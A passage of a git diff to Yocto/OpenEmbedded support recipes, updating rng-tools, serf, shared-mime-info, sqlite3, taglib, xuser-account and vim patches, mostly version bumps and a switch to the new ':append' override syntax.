- -e '/^IPAddressDeny=any/d' \
- -e '/^RestrictAddressFamilies=/ s/$/ AF_INET AF_INET6/' \
- ${D}${systemd_system_unitdir}/rngd.service
- fi
-}
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.14.bb b/meta/recipes-support/rng-tools/rng-tools_6.14.bb
new file mode 100644
index 0000000000..222d7cc630
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools_6.14.bb
@@ -0,0 +1,61 @@
+SUMMARY = "Random number generator daemon"
+DESCRIPTION = "Check and feed random data from hardware device to kernel"
+AUTHOR = "Philipp Rumpf, Jeff Garzik <jgarzik@pobox.com>, \
+ Henrique de Moraes Holschuh <hmh@debian.org>"
+HOMEPAGE = "https://github.com/nhorman/rng-tools"
+BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+DEPENDS = "sysfsutils openssl"
+
+SRC_URI = "git://github.com/nhorman/rng-tools.git;branch=master;protocol=https \
+ file://init \
+ file://default \
+ file://rngd.service \
+ file://0001-Adding-ability-to-detect-non-posix-extensions-for-pt.patch \
+ file://0002-Allow-for-use-of-either-pthread-affinity-set-methods.patch \
+ "
+SRCREV = "c16176d3800b91f4d016b66733b384493b06f294"
+
+S = "${WORKDIR}/git"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+EXTRA_OECONF = "--without-rtlsdr"
+
+PACKAGECONFIG ??= "libjitterentropy"
+PACKAGECONFIG:libc-musl = "libargp libjitterentropy"
+
+PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
+PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
+PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
+PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2 openssl"
+
+INITSCRIPT_NAME = "rng-tools"
+INITSCRIPT_PARAMS = "start 03 2 3 4 5 . stop 30 0 6 1 ."
+
+SYSTEMD_SERVICE:${PN} = "rngd.service"
+
+# Refer autogen.sh in rng-tools
+do_configure:prepend() {
+ cp ${S}/README.md ${S}/README
+}
+
+do_install:append() {
+ install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
+ install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
+ install -Dm 0644 ${WORKDIR}/rngd.service \
+ ${D}${systemd_system_unitdir}/rngd.service
+ sed -i \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${sysconfdir}/init.d/rng-tools \
+ ${D}${systemd_system_unitdir}/rngd.service
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'nistbeacon', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i \
+ -e '/^IPAddressDeny=any/d' \
+ -e '/^RestrictAddressFamilies=/ s/$/ AF_INET AF_INET6/' \
+ ${D}${systemd_system_unitdir}/rngd.service
+ fi
+}
diff --git a/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch b/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch
new file mode 100644
index 0000000000..91ccc8a474
--- /dev/null
+++ b/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch
@@ -0,0 +1,28 @@
+From 2f45711a66ff99886b6e4a5708e2db01a63e5af4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 11:05:10 +0200
+Subject: [PATCH] buckets/ssl_buckets.c: do not use ERR_GET_FUNC
+
+Upstream removed it in
+https://github.com/openssl/openssl/pull/16004
+
+Upstream-Status: Inactive-Upstream [lastrelease: 2015, lastcommit: 2019]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ buckets/ssl_buckets.c | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/buckets/ssl_buckets.c b/buckets/ssl_buckets.c
+index b01e535..9801f87 100644
+--- a/buckets/ssl_buckets.c
++++ b/buckets/ssl_buckets.c
+@@ -1325,8 +1325,7 @@ static int ssl_need_client_cert(SSL *ssl, X509 **cert, EVP_PKEY **pkey)
+ return 0;
+ }
+ else {
+- printf("OpenSSL cert error: %d %d %d\n", ERR_GET_LIB(err),
+- ERR_GET_FUNC(err),
++ printf("OpenSSL cert error: %d %d\n", ERR_GET_LIB(err),
+ ERR_GET_REASON(err));
+ PKCS12_free(p12);
+ bio_meth_free(biom);
diff --git a/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch b/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
index 91640d6044..4105868a7e 100644
--- a/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
+++ b/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
@@ -31,7 +31,7 @@ ERROR: scons install execution failed.
and the installed paths (including the paths inside libserf*.pc)
look correct
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [lastrelease: 2015, lastcommit: 2019]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-support/serf/serf_1.3.9.bb b/meta/recipes-support/serf/serf_1.3.9.bb
index 6a27f12102..669f42b8e7 100644
--- a/meta/recipes-support/serf/serf_1.3.9.bb
+++ b/meta/recipes-support/serf/serf_1.3.9.bb
@@ -1,4 +1,9 @@
SUMMARY = "High-Performance Asynchronous HTTP Client Library"
+DESCRIPTION = "The Apache Serf library is a C-based HTTP client library built upon the Apache \
+Portable Runtime (APR) library. It multiplexes connections, running the \
+read/write communication asynchronously. Memory copies and transformations are \
+kept to a minimum to provide high performance operation."
+HOMEPAGE = "http://serf.apache.org/"
SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
file://norpath.patch \
file://env.patch \
@@ -7,6 +12,7 @@ SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
file://0003-gen_def.patch \
file://0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch \
file://SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch \
+ file://0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch \
"
SRC_URI[md5sum] = "370a6340ff20366ab088012cd13f2b57"
@@ -30,4 +36,9 @@ EXTRA_OESCONS = " \
OPENSSL="${STAGING_EXECPREFIXDIR}" \
"
+# scons creates non-reproducible archives
+do_install:append() {
+ rm ${D}/${libdir}/*.a
+}
+
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch b/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch
new file mode 100644
index 0000000000..d09013bb3c
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch
@@ -0,0 +1,70 @@
+From 5ca815cb79f64fab9cbb428b95a861fc0c30c116 Mon Sep 17 00:00:00 2001
+From: Eli Schwartz <eschwartz@archlinux.org>
+Date: Mon, 8 Nov 2021 18:22:47 -0500
+Subject: [PATCH] migrate from custom itstool to builtin msgfmt for creating
+ translated XML
+
+gettext upstream has supported this for a very long time, and using it
+means we don't need to jump through hoops to run ninja inside ninja in
+order to generate the .mo files for itstool.
+
+Although meson 0.60.0 added support for real targets for the built .mo
+files, this changed the rules for output filenames, breaking the script.
+But msgfmt does not care, and anyways comes with builtin meson functions
+for convenient use.
+
+Fixes #170
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/shared-mime-info/-/merge_requests/162]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ data/freedesktop_generate.sh | 12 ------------
+ data/meson.build | 16 +++++-----------
+ 2 files changed, 5 insertions(+), 23 deletions(-)
+ delete mode 100755 data/freedesktop_generate.sh
+
+diff --git a/data/freedesktop_generate.sh b/data/freedesktop_generate.sh
+deleted file mode 100755
+index ff13e75..0000000
+--- a/data/freedesktop_generate.sh
++++ /dev/null
+@@ -1,12 +0,0 @@
+-#!/bin/sh -e
+-
+-src_root="$1"
+-build_root="$2"
+-
+-ninja -C "${build_root}" shared-mime-info-gmo
+-
+-itstool \
+- --its "${src_root}/data/its/shared-mime-info.its" \
+- --join "${src_root}/data/freedesktop.org.xml.in" \
+- -o "${build_root}/data/freedesktop.org.xml" \
+- "${build_root}/po/"*".gmo"
+diff --git a/data/meson.build b/data/meson.build
+index 263567d..c5696f2 100644
+--- a/data/meson.build
++++ b/data/meson.build
+@@ -1,18 +1,12 @@
+
+ install_man('update-mime-database.1')
+
+-freedesktop_org_xml = custom_target('freedesktop.org.xml',
+- input : files(
+- 'freedesktop.org.xml.in',
+- 'its/shared-mime-info.its',
+- 'its/shared-mime-info.loc',
+- ),
++freedesktop_org_xml = i18n.merge_file(
++ input: 'freedesktop.org.xml.in',
+ output: 'freedesktop.org.xml',
+- command: [
+- find_program('freedesktop_generate.sh'),
+- meson.source_root(),
+- meson.build_root()
+- ],
++ data_dirs: '.',
++ po_dir: '../po',
++ type: 'xml',
+ install: true,
+ install_dir: get_option('datadir') / 'mime' / 'packages',
+ )
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb b/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
index e82c818e5c..69f147ebce 100644
--- a/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
+++ b/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
@@ -1,4 +1,5 @@
SUMMARY = "Shared MIME type database and specification"
+DESCRIPTION = "The shared-mime-info package contains the core database of common types."
HOMEPAGE = "http://freedesktop.org/wiki/Software/shared-mime-info"
SECTION = "base"
@@ -7,22 +8,24 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
DEPENDS = "libxml2 itstool-native glib-2.0 shared-mime-info-native xmlto-native"
-SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https"
-SRCREV = "ef58b2b2f7ad4070171c6e45e3b3764daa3ff2c1"
-PV = "2.0"
+SRC_URI = "git://gitlab.freedesktop.org/xdg/shared-mime-info.git;protocol=https;branch=master \
+ file://0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch \
+ "
+SRCREV = "18e558fa1c8b90b86757ade09a4ba4d6a6cf8f70"
+PV = "2.1"
S = "${WORKDIR}/git"
inherit meson pkgconfig gettext python3native mime
EXTRA_OEMESON = "-Dupdate-mimedb=true"
-FILES_${PN} += "${datadir}/mime"
-FILES_${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc ${datadir}/gettext/its"
+FILES:${PN} += "${datadir}/mime"
+FILES:${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc ${datadir}/gettext/its"
# freedesktop.org.xml is only required when updating the mime database,
# package it separately
PACKAGES =+ "shared-mime-info-data"
-FILES_shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
-RDEPENDS_shared-mime-info-data = "shared-mime-info"
+FILES:shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
+RDEPENDS:shared-mime-info-data = "shared-mime-info"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/sqlite/sqlite3.inc b/meta/recipes-support/sqlite/sqlite3.inc
index 07614bdb3e..aa5dc0974b 100644
--- a/meta/recipes-support/sqlite/sqlite3.inc
+++ b/meta/recipes-support/sqlite/sqlite3.inc
@@ -1,4 +1,5 @@
SUMMARY = "Embeddable SQL database engine"
+DESCRIPTION = "A library that implements a small, fast, self-contained, high-reliability, full-featured, SQL database engine. SQLite is the most used database engine in the world. SQLite is built into all mobile phones and most computers and comes bundled inside countless other applications that people use every day"
HOMEPAGE = "http://www.sqlite.org"
SECTION = "libs"
@@ -23,7 +24,7 @@ inherit autotools pkgconfig siteinfo
# enable those which are enabled by default in configure
PACKAGECONFIG ?= "fts4 fts5 json1 rtree dyn_ext"
-PACKAGECONFIG_class-native ?= "fts4 fts5 json1 rtree dyn_ext"
+PACKAGECONFIG:class-native ?= "fts4 fts5 json1 rtree dyn_ext"
PACKAGECONFIG[editline] = "--enable-editline,--disable-editline,libedit"
PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline ncurses"
@@ -45,23 +46,23 @@ EXTRA_OECONF = " \
"
# pread() is in POSIX.1-2001 so any reasonable system must surely support it
-CFLAGS_append = " -DUSE_PREAD"
+CFLAGS:append = " -DUSE_PREAD"
# Provide column meta-data API
-CFLAGS_append = " -DSQLITE_ENABLE_COLUMN_METADATA"
+CFLAGS:append = " -DSQLITE_ENABLE_COLUMN_METADATA"
# Unless SQLITE_BYTEORDER is predefined, the code falls back to build time
# huristics, which are not always correct
-CFLAGS_append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
+CFLAGS:append = " ${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'le', '-DSQLITE_BYTEORDER=1234', '-DSQLITE_BYTEORDER=4321', d)}"
PACKAGES = "lib${BPN} lib${BPN}-dev lib${BPN}-doc ${PN}-dbg lib${BPN}-staticdev ${PN}"
-FILES_${PN} = "${bindir}/*"
-FILES_lib${BPN} = "${libdir}/*.so.*"
-FILES_lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
+FILES:${PN} = "${bindir}/*"
+FILES:lib${BPN} = "${libdir}/*.so.*"
+FILES:lib${BPN}-dev = "${libdir}/*.la ${libdir}/*.so \
${libdir}/pkgconfig ${includedir}"
-FILES_lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
-FILES_lib${BPN}-staticdev = "${libdir}/lib*.a"
+FILES:lib${BPN}-doc = "${docdir} ${mandir} ${infodir}"
+FILES:lib${BPN}-staticdev = "${libdir}/lib*.a"
AUTO_LIBNAME_PKGS = "${MLPREFIX}lib${BPN}"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.33.0.bb b/meta/recipes-support/sqlite/sqlite3_3.33.0.bb
deleted file mode 100644
index 33f041a161..0000000000
--- a/meta/recipes-support/sqlite/sqlite3_3.33.0.bb
+++ /dev/null
@@ -1,12 +0,0 @@
-require sqlite3.inc
-
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
-
-SRC_URI = "http://www.sqlite.org/2020/sqlite-autoconf-${SQLITE_PV}.tar.gz"
-SRC_URI[sha256sum] = "106a2c48c7f75a298a7557bcc0d5f4f454e5b43811cc738b7ca294d6956bbb15"
-
-# -19242 is only an issue in specific development branch commits
-CVE_CHECK_WHITELIST += "CVE-2019-19242"
-# This is believed to be iOS specific (https://groups.google.com/g/sqlite-dev/c/U7OjAbZO6LA)
-CVE_CHECK_WHITELIST += "CVE-2015-3717"
diff --git a/meta/recipes-support/sqlite/sqlite3_3.37.0.bb b/meta/recipes-support/sqlite/sqlite3_3.37.0.bb
new file mode 100644
index 0000000000..68394c88b0
--- /dev/null
+++ b/meta/recipes-support/sqlite/sqlite3_3.37.0.bb
@@ -0,0 +1,14 @@
+require sqlite3.inc
+
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://sqlite3.h;endline=11;md5=786d3dc581eff03f4fd9e4a77ed00c66"
+
+SRC_URI = "http://www.sqlite.org/2021/sqlite-autoconf-${SQLITE_PV}.tar.gz"
+SRC_URI[sha256sum] = "731a4651d4d4b36fc7d21db586b2de4dd00af31fd54fb5a9a4b7f492057479f7"
+
+# -19242 is only an issue in specific development branch commits
+CVE_CHECK_WHITELIST += "CVE-2019-19242"
+# This is believed to be iOS specific (https://groups.google.com/g/sqlite-dev/c/U7OjAbZO6LA)
+CVE_CHECK_WHITELIST += "CVE-2015-3717"
+# Issue in an experimental extension we don't have/use. Fixed by https://sqlite.org/src/info/b1e0c22ec981cf5f
+CVE_CHECK_WHITELIST += "CVE-2021-36690"
diff --git a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch b/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
deleted file mode 100644
index 4bd9f2be17..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2017-12678.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From eb9ded1206f18f2c319157337edea2533a40bea6 Mon Sep 17 00:00:00 2001
-From: "Stephen F. Booth" <me@sbooth.org>
-Date: Sun, 23 Jul 2017 10:11:09 -0400
-Subject: [PATCH] Don't assume TDRC is an instance of TextIdentificationFrame
-
-If TDRC is encrypted, FrameFactory::createFrame() returns UnknownFrame
-which causes problems in rebuildAggregateFrames() when it is assumed
-that TDRC is a TextIdentificationFrame
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/831/commits/eb9ded1206f18f2c319157337edea2533a40bea6]
-
-CVE: CVE-2017-12678
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/mpeg/id3v2/id3v2framefactory.cpp | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/mpeg/id3v2/id3v2framefactory.cpp b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-index 759a9b7b..9347ab86 100644
---- a/taglib/mpeg/id3v2/id3v2framefactory.cpp
-+++ b/taglib/mpeg/id3v2/id3v2framefactory.cpp
-@@ -334,10 +334,11 @@ void FrameFactory::rebuildAggregateFrames(ID3v2::Tag *tag) const
- tag->frameList("TDAT").size() == 1)
- {
- TextIdentificationFrame *tdrc =
-- static_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
-+ dynamic_cast<TextIdentificationFrame *>(tag->frameList("TDRC").front());
- UnknownFrame *tdat = static_cast<UnknownFrame *>(tag->frameList("TDAT").front());
-
-- if(tdrc->fieldList().size() == 1 &&
-+ if(tdrc &&
-+ tdrc->fieldList().size() == 1 &&
- tdrc->fieldList().front().size() == 4 &&
- tdat->data().size() >= 5)
- {
---
-2.13.5
-
diff --git a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch b/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
deleted file mode 100644
index cdd66e67f7..0000000000
--- a/meta/recipes-support/taglib/taglib/CVE-2018-11439.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 272648ccfcccae30e002ccf34a22e075dd477278 Mon Sep 17 00:00:00 2001
-From: Scott Gayou <github.scott@gmail.com>
-Date: Mon, 4 Jun 2018 11:34:36 -0400
-Subject: [PATCH] Fixed OOB read when loading invalid ogg flac file. (#868)
-
-This CVE is caused by a failure to check the minimum length
-of a ogg flac header. This header is detailed in full at:
-https://xiph.org/flac/ogg_mapping.html. Added more strict checking
-for entire header.
-
-Upstream-Status: Backport
-[https://github.com/taglib/taglib/pull/869/commits/272648ccfcccae30e002ccf34a22e075dd477278]
-
-CVE: CVE-2018-11439
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- taglib/ogg/flac/oggflacfile.cpp | 14 ++++++++++++--
- 1 file changed, 12 insertions(+), 2 deletions(-)
-
-diff --git a/taglib/ogg/flac/oggflacfile.cpp b/taglib/ogg/flac/oggflacfile.cpp
-index 53d0450..07ea9dc 100644
---- a/taglib/ogg/flac/oggflacfile.cpp
-+++ b/taglib/ogg/flac/oggflacfile.cpp
-@@ -231,11 +231,21 @@ void Ogg::FLAC::File::scan()
-
- if(!metadataHeader.startsWith("fLaC")) {
- // FLAC 1.1.2+
-+ // See https://xiph.org/flac/ogg_mapping.html for the header specification.
-+ if(metadataHeader.size() < 13)
-+ return;
-+
-+ if(metadataHeader[0] != 0x7f)
-+ return;
-+
- if(metadataHeader.mid(1, 4) != "FLAC")
- return;
-
-- if(metadataHeader[5] != 1)
-- return; // not version 1
-+ if(metadataHeader[5] != 1 && metadataHeader[6] != 0)
-+ return; // not version 1.0
-+
-+ if(metadataHeader.mid(9, 4) != "fLaC")
-+ return;
-
- metadataHeader = metadataHeader.mid(13);
- }
---
-2.7.4
-
diff --git a/meta/recipes-support/taglib/taglib_1.11.1.bb b/meta/recipes-support/taglib/taglib_1.11.1.bb
deleted file mode 100644
index f4e288295d..0000000000
--- a/meta/recipes-support/taglib/taglib_1.11.1.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
-SECTION = "libs/multimedia"
-HOMEPAGE = "http://taglib.github.io/"
-LICENSE = "LGPLv2.1 | MPL-1.1"
-LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
- file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
- file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
-
-DEPENDS = "zlib"
-
-SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz \
- file://CVE-2017-12678.patch \
- file://CVE-2018-11439.patch \
- "
-
-SRC_URI[md5sum] = "cee7be0ccfc892fa433d6c837df9522a"
-SRC_URI[sha256sum] = "b6d1a5a610aae6ff39d93de5efd0fdc787aa9e9dc1e7026fa4c961b26563526b"
-
-UPSTREAM_CHECK_URI = "http://github.com/taglib/taglib/releases/"
-
-BINCONFIG = "${bindir}/taglib-config"
-
-inherit cmake pkgconfig binconfig-disabled
-
-PACKAGES =+ "${PN}-c"
-FILES_${PN}-c = "${libdir}/libtag_c.so.*"
-
-EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
- -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
- -DHAVE_BOOST_BYTESWAP=FALSE \
- -DCMAKE_CXX_STANDARD=11 \
- -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
- -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
-"
-CXXFLAGS += "-std=c++11"
-
-do_configure_prepend () {
- rm -f ${S}/admin/ltmain.sh
- rm -f ${S}/admin/libtool.m4.in
-}
-
-# without -fPIC depending packages failed with many error like:
-# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
-CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/taglib/taglib_1.12.bb b/meta/recipes-support/taglib/taglib_1.12.bb
new file mode 100644
index 0000000000..2b0961818a
--- /dev/null
+++ b/meta/recipes-support/taglib/taglib_1.12.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Library for reading and editing the meta-data of popular audio formats"
+DESCRIPTION = "Platform-independent library (tested on Windows/Linux) for reading and writing metadata in media files, including video, audio, and photo formats. This is a convenient one-stop-shop to present or tag all your media collection, regardless of which format/container these might use. You can read/write the standard or more common tags/properties of a media, or you can also create and retrieve your own custom tags."
+SECTION = "libs/multimedia"
+HOMEPAGE = "http://taglib.github.io/"
+LICENSE = "LGPLv2.1 | MPL-1.1"
+LIC_FILES_CHKSUM = "file://COPYING.LGPL;md5=4fbd65380cdd255951079008b364516c \
+ file://COPYING.MPL;md5=bfe1f75d606912a4111c90743d6c7325 \
+ file://taglib/audioproperties.h;beginline=1;endline=24;md5=9df2c7399519b7310568a7c55042ecee"
+
+DEPENDS = "zlib"
+
+SRC_URI = "http://taglib.github.io/releases/${BP}.tar.gz"
+
+SRC_URI[md5sum] = "4313ed2671234e029b7af8f97c84e9af"
+SRC_URI[sha256sum] = "7fccd07669a523b07a15bd24c8da1bbb92206cb19e9366c3692af3d79253b703"
+
+UPSTREAM_CHECK_URI = "http://github.com/taglib/taglib/releases/"
+
+BINCONFIG = "${bindir}/taglib-config"
+
+inherit cmake pkgconfig binconfig-disabled
+
+PACKAGES =+ "${PN}-c"
+FILES:${PN}-c = "${libdir}/libtag_c.so.*"
+
+EXTRA_OECMAKE = "-DBUILD_SHARED_LIBS=ON \
+ -DCMAKE_DISABLE_FIND_PACKAGE_Boost=TRUE \
+ -DHAVE_BOOST_BYTESWAP=FALSE \
+ -DCMAKE_CXX_STANDARD=11 \
+ -DCMAKE_CXX_STANDARD_REQUIRED=OFF \
+ -DLIB_SUFFIX=${@d.getVar('baselib').replace('lib', '')} \
+"
+CXXFLAGS += "-std=c++11"
+
+do_configure:prepend () {
+ rm -f ${S}/admin/ltmain.sh
+ rm -f ${S}/admin/libtool.m4.in
+}
+
+# without -fPIC depending packages failed with many error like:
+# | <...>/ld: error: <...>/usr/lib/libtag.a(modfilebase.cpp.o): requires unsupported dynamic reloc R_ARM_THM_MOVW_ABS_NC; recompile with -fPIC
+CXXFLAGS += "-fPIC"
diff --git a/meta/recipes-support/user-creation/xuser-account_0.1.bb b/meta/recipes-support/user-creation/xuser-account_0.1.bb
index 81817d1e25..639b01f6eb 100644
--- a/meta/recipes-support/user-creation/xuser-account_0.1.bb
+++ b/meta/recipes-support/user-creation/xuser-account_0.1.bb
@@ -18,11 +18,11 @@ do_install() {
install -D -m 0644 ${WORKDIR}/system-xuser.conf ${D}${sysconfdir}/dbus-1/system.d/system-xuser.conf
}
-FILES_${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
+FILES:${PN} = "${sysconfdir}/dbus-1/system.d/system-xuser.conf"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--create-home \
+USERADD_PARAM:${PN} = "--create-home \
--groups video,tty,audio,input,shutdown,disk \
--user-group xuser"
-ALLOW_EMPTY_${PN} = "1"
+ALLOW_EMPTY:${PN} = "1"
diff --git a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
index 63a7b78f12..2fc11dbdc2 100644
--- a/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
+++ b/meta/recipes-support/vim/files/0001-src-Makefile-improve-reproducibility.patch
@@ -16,11 +16,11 @@ Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
src/Makefile | 14 ++++----------
1 file changed, 4 insertions(+), 10 deletions(-)
-diff --git a/src/Makefile b/src/Makefile
-index f2fafa4dc..7148d4bd9 100644
---- a/src/Makefile
-+++ b/src/Makefile
-@@ -2845,16 +2845,10 @@ auto/pathdef.c: Makefile auto/config.mk
+Index: git/src/Makefile
+===================================================================
+--- git.orig/src/Makefile
++++ git/src/Makefile
+@@ -3101,16 +3101,10 @@ auto/pathdef.c: Makefile auto/config.mk
-@echo '#include "vim.h"' >> $@
-@echo 'char_u *default_vim_dir = (char_u *)"$(VIMRCLOC)";' | $(QUOTESED) >> $@
-@echo 'char_u *default_vimruntime_dir = (char_u *)"$(VIMRUNTIMEDIR)";' | $(QUOTESED) >> $@
@@ -41,6 +41,3 @@ index f2fafa4dc..7148d4bd9 100644
-@sh $(srcdir)/pathdef.sh
GUI_GTK_RES_INPUTS = \
---
-2.17.1
-
diff --git a/meta/recipes-support/vim/files/disable_acl_header_check.patch b/meta/recipes-support/vim/files/disable_acl_header_check.patch
index 33089162b4..ee1ea0f390 100644
--- a/meta/recipes-support/vim/files/disable_acl_header_check.patch
+++ b/meta/recipes-support/vim/files/disable_acl_header_check.patch
@@ -5,7 +5,7 @@ Subject: [PATCH] disable acl header check
Don't check 'sys/acl.h' if acl support disabled for vim/vim-tiny.
-Upstream-Status: pending
+Upstream-Status: Pending
Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
Signed-off-by: Changqing Li <changqing.li@windriver.com>
@@ -13,11 +13,11 @@ Signed-off-by: Changqing Li <changqing.li@windriver.com>
src/configure.ac | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/src/configure.ac b/src/configure.ac
-index 2d409b3ca06a..dbcaf6140263 100644
---- a/src/configure.ac
-+++ b/src/configure.ac
-@@ -3257,7 +3257,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h string.h \
+Index: git/src/configure.ac
+===================================================================
+--- git.orig/src/configure.ac
++++ git/src/configure.ac
+@@ -3292,7 +3292,7 @@ AC_CHECK_HEADERS(stdint.h stdlib.h strin
sys/systeminfo.h locale.h sys/stream.h termios.h \
libc.h sys/statfs.h poll.h sys/poll.h pwd.h \
utime.h sys/param.h sys/ptms.h libintl.h libgen.h \
@@ -26,7 +26,7 @@ index 2d409b3ca06a..dbcaf6140263 100644
sys/access.h sys/sysinfo.h wchar.h wctype.h)
dnl sys/ptem.h depends on sys/stream.h on Solaris
-@@ -3886,6 +3886,7 @@ AC_ARG_ENABLE(acl,
+@@ -3974,6 +3974,7 @@ AC_ARG_ENABLE(acl,
, [enable_acl="yes"])
if test "$enable_acl" = "yes"; then
AC_MSG_RESULT(no)
@@ -34,6 +34,3 @@ index 2d409b3ca06a..dbcaf6140263 100644
AC_CHECK_LIB(posix1e, acl_get_file, [LIBS="$LIBS -lposix1e"],
AC_CHECK_LIB(acl, acl_get_file, [LIBS="$LIBS -lacl"
AC_CHECK_LIB(attr, fgetxattr, LIBS="$LIBS -lattr",,)],,),)
---
-2.7.4
-
diff --git a/meta/recipes-support/vim/files/no-path-adjust.patch b/meta/recipes-support/vim/files/no-path-adjust.patch
index 05c2d803f6..9d6da80913 100644
--- a/meta/recipes-support/vim/files/no-path-adjust.patch
+++ b/meta/recipes-support/vim/files/no-path-adjust.patch
@@ -7,9 +7,11 @@ Upstream-Status: Pending
